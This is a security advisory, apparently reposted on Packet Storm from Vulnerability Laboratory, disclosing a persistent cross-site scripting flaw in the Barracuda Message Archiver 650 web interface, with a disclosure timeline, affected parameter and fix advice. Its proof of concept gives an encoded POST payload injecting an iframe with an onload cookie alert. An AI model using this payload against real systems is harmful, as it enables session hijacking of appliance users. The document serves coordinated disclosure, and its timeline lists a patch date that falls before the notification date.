exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Barracuda Message Archiver 650 Cross Site Scripting

Barracuda Message Archiver 650 Cross Site Scripting
Posted Feb 20, 2014
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

Barracuda Message Archiver 650 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | c5e54f9d0079086202b8f53bdb2e3aae88194dc2ae39e9f989565f1b9d4ec9ff

Barracuda Message Archiver 650 Cross Site Scripting

Change Mirror Download
Document Title:
===============
Barracuda Message Archiver 650 - Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=751

Barracuda Networks Security ID (BNSEC): 703


Release Date:
=============
2014-02-18


Vulnerability Laboratory ID (VL-ID):
====================================
751


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
The Barracuda Message Archiver is a complete and affordable email archiving solution, enabling you to effectively
index and preserve all emails, enhance operational efficiencies and enforce policies for regulatory compliance. By
leveraging standard policies and seamless access to messages, email content is fully indexed and backed up to enable
administrators, auditors and end users quick retrieval of any email message stored in an organization’s email archive.

* Comprehensive archiving
* Exchange stubbing
* Search and retrieval
* Policy management
* Intelligent Storage Manager
* Roles-based interface
* Reporting and statistics

The Barracuda Message Archiver provides everything an organization needs to comply with government regulations in an
easy to install and administer plug-and-play hardware solution. The Barracuda Message Archiver stores and indexes all
email for easy search and retrieval by both regular users and third-party auditors. Backed by Energize Updates, delivered
by Barracuda Central, the Barracuda Message Archiver receives automatic updates to its extensive library of virus, policy
definitions to enable enhanced monitoring of compliance and corporate guidelines, document file format updates needed to
decode content within email attachments, as well as security updates for the underlying Barracuda Message Archiver platform
to protect against any potential security vulnerabilities.

(Copy of the Vendor Homepage: http://www.barracudanetworks.com )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent web vulnerability in Barracudas Messsage Archiver 3.1.0.914 Appliance Application.


Vulnerability Disclosure Timeline:
==================================
2013-11-08: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2013-11-10: Vendor Notification (Barracuda Networks - Bug Bounty Program)
2013-11-13: Vendor Response/Feedback (Barracuda Networks - Bug Bounty Program)
2013-02-17: Vendor Fix/Patch (Barracuda Networks Developer Team)
2014-02-18: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Barracuda Networks
Product: Message Archiver 650 - Appliance Application 3.1.0.914


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation vulnerability has been discovered in the official Barracuda Networks Message Archiver 650 v3.1.0.914 appliance web-application.
The remote vulnerability allows remote attackers to inject own malicious script codes on the application-side of the vulnerable message archiver module.

The vulnerability is located in the `Benutzer > Neu Anlegen > Rolle: Auditor > Domänen` module. Remote attackers are able to inject own malicious script
codes with persistent attack vector in the vulnerable domain_list_table-r0 parameter. The execution of the script code occurs in the domain_list_table-r0
and user_domain_admin:1 appliance application response context. The request method is POST and the attack vector is persistent on the application-side of
the barracuda networks message archiver appliance. The security risk of the input validation web vulnerability is
estimated as medium with a cvss (common vulnerability scoring system) count of 3.5(+)|(-)3.6.

Exploitation of the vulnerability requires a low privileged or restricted application user account with low or medium user interaction. Successful exploitation
of the vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent manipulation of module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Benutzer > Neu Anlegen > Rolle: Auditor > Domänen

Vulnerable Parameter(s):
[+] domain_list_table-r0



Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by remote attacker with low privileged application user account and low required user inter action.
For security demonstration or to reproduce the remote vulnerability follow the provided information and steps below.

Benutzer > Neu Anlegen > Rolle: Auditor > Domänen > (domain_list_table-r0)

POST REQUEST:
ajax_bc_sub=addDomain
domain=%22%3E%3Ciframe%20src%3Dhttp%3A%2F%2Fvuln-lab.com%20onload%3Dalert(document.cookie)%20%3C%20%20%22%3E%3Ciframe%20src
%3Dhttp%3A%2F%2Fvuln-lab.com%20onload%3Dalert(document.cookie)%20%3C
user=guest
password=75361da9533223d9685576d10bd6aa02
et=
1352520628
locale=de_DE
realm=
auth_type=Local
primary_tab=USERS
secondary_tab=per_user_add_update


URL: http://archiver.ptest.localhost:3378/cgi-mod/index.cgi?auth_type=Local&et=1352520461&locale=de_DE&password=4b0a7f3a136e60c7cf73ec1b30ec6a23&
primary_tab=USERS&realm=&secondary_tab=per_user_add_update&user=benjaminKM

PoC: Benutzer > Neu Anlegen > Rolle: Auditor > Domänen > (domain_list_table-r0)

<td style="vertical-align:middle;text-align:left;white-space:nowrap">
%20​​​​​">​​​​​<iframe src="http://vuln-lab.com" onload="alert(document.cookie)" <=""
"="[PERSISTENT INJECTED SCRIPT CODE!]< </iframe><input name="user_domain_admin:1"
id="user_domain_admin:1" value=""[PERSISTENT INJECTED SCRIPT CODE!]" type="hidden"></td>


Reference(s):
http://archiver.ptest.localhost:3378/cgi-mod/index.cgi

http://archiver.ptest.localhost:3378/cgi-mod/index.cgi?auth_type=Local&et=1352520461&locale=de_DE&password=4b0a7f3a136e60c7cf73ec1b30ec6a23&
primary_tab=USERS&realm=&secondary_tab=per_user_add_update&user=benjaminKM


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of the vulnerable affected listing in the domain_list_table-r0 parameter.

Barracuda Networks Appliance: Advanced->Firmware Updates page


Security Risk:
==============
The security risk of the persistent input validation web vulnerability is estimated as medium.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

Copyright © 2013 | Vulnerability Laboratory



--
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close